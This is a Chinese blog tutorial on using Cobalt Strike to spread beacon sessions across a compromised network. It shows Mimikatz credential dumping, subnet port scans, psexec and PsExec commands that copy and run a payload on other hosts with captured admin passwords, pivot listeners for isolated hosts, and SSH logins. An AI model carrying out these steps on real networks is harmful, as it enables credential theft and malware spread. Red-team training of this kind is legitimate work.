• CobaltStrike进阶篇-批量上线


    前言

    当获取一台目标服务器权限时,更多是想办法扩大战果,获取目标凭据并横向进行登陆是最快速的拿权方式。但目标所处环境是否可出网,如何利用CobalStrike进行批量上线,正是本文所要讲述的内容。

    获取凭据

    目标机器CobalStrike上线后,通常先抓取该主机凭据,选择执行 Access–>Run Mimikatz ,或在Beacon中执行logonpasswords命令。需要当前会话为管理员权限,才能成功,如果权限低,请先提权~

    image-20191209000154666

    点击工具栏的Credentials,可以看到获取的凭据信息。(Credentials可自行添加)

    image-20191209000310632

    当然,不是每次都能成功获取到明文密码的,要看内存中是否存储。

    目标机出网

    psexec传递

    获取凭据后,需要对目标网段进行端口存活探测,缩小范围。探测方式比较多,本文仅依托CobalStrike本身完成,不借助其他工具。因为是psexec传递登录,这里仅需探测445端口。( psexec:在主机上使用服务派生会话 )

    使用portscan命令:ip网段 — ports端口 — 扫描协议(arp、icmp、none)— 线程(实战不要过高)。

    1
    beacon> portscan 192.168.144.0/24 445 arp 200

    image-20191209002419028

    点击工具栏的View–>Targets,查看端口探测后的存活主机。(Targets可自行添加)

    image-20191209002617069

    选择Login–>psexec传递登录。

    image-20191209002817322

    选择之前获取到的凭据信息(明文密文均可),此处选择明文,并确定接收的Listener与主机的Session。

    image-20191209002959952

    在Beacon中可以看到执行的命令,并会显示成功登录的ip,之后就便会上线CobalStrike。这样就控制了多个主机的系统权限。

    image-20191209005820823

    附:psexec密文传递Beacon中执行的命令。【不是psexec(psh)选项】

    image-20191209005622457

    目标机不出网

    实战中往往还会遇到通过某种方式,获取到目标内网中某台主机的系统权限,但是该主机处在隔离网络中,不能出网。因为CobalStrike服务端是搭建在互联网中的,通过常规方式是无法上线的,这里就需要利用已上线的主机,将它做一个Listener,实现链路上线CobalStrike。

    首先,在已上线的主机创建Listener,监听端口可自定义。

    image-20191209100456995

    选择 Attacks->Packages->Windows Executable(Stageless),支持导出该类型Listener对应的可执行文件或dll等。

    image-20191209100711269

    注意,选择刚建立的Listener名字,Proxy可不设置,这里生成exe保存本地。(未免杀)

    image-20191209101400043

    上传刚才生成的payload到当前已上线的目标机中,还需要上传另一个工具PsExec.exe 。(CobalStrike本身psexec功能不够强大,且方法不唯一)

    image-20191209132102204

    在Beacon中使用PsExec工具将payload上传到不出网的目标机中,自动执行,上线。

    1
    beacon> shell C:WINDOWSTempPsExec.exe -accepteula \192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:WINDOWSTempeacon.exe

    image-20191209141840887

    端口查看,实际不出网目标机(192.168.144.196)是与出网目标机(192.168.144.155)正在建立连接。

    1
    beacon> shell netstat -ano |findstr 4444

    image-20191209142146416

    因为这是link链接,只要主链路(即出网机Listener)掉线,就都会掉线!

    SSH登录

    ssh批量登录比较简单,同样利用当前已上线的目标机进行登录。

    1
    beacon> portscan 192.168.144.170-210 22 arp 200

    image-20191209010818275

    在Credentials中添加ssh的口令信息。(ssh口令可事先通过其他方式获取,不建议用此工具进行ssh爆破,效率慢)

    image-20191209011240321

    选择Login–>ssh登录。

    image-20191209011601864

    选择刚添加的ssh口令,主机Session,即从哪台主机连接过去。

    image-20191209011910171

    ssh成功登录后,就实现了Linux目标机的上线,在Beacon中可以看到执行的命令。若需要上线的Linux主机不多,可直接在Beacon中执行命令。

    image-20191209012143126

    在Linux目标机中查看网络连接状态,实际是与之前已上线的Windows主机建立的连接。

    image-20191209012935437

    总结

    本文只是讲述针对不同环境的不同上线方式,利用CobalStrike对已获取权限的主机进行批量上线。不要把CobalStrike当成最优的端口探测与口令爆破方式,工具的特性并不在此。毕竟在内网中拿权要有效率,不能浪费太多时间,工具间要进行互补,发挥各自的优势。当然,上线的方式也不要局限此处!

  • 相关阅读:
    js简单排序
    js希尔排序
    js直接插入排序
    大数运算
    IOC和AOP的理解 (持续更新)
    频发事件的缓存技巧
    执行上下文深入解析(Execution Context)
    二分
    HDU 3790 最短路径问题 (双重权值)
    浅谈Targan算法
  • 原文地址:https://www.cnblogs.com/nongchaoer/p/12055305.html
Copyright © 2020-2023  润新知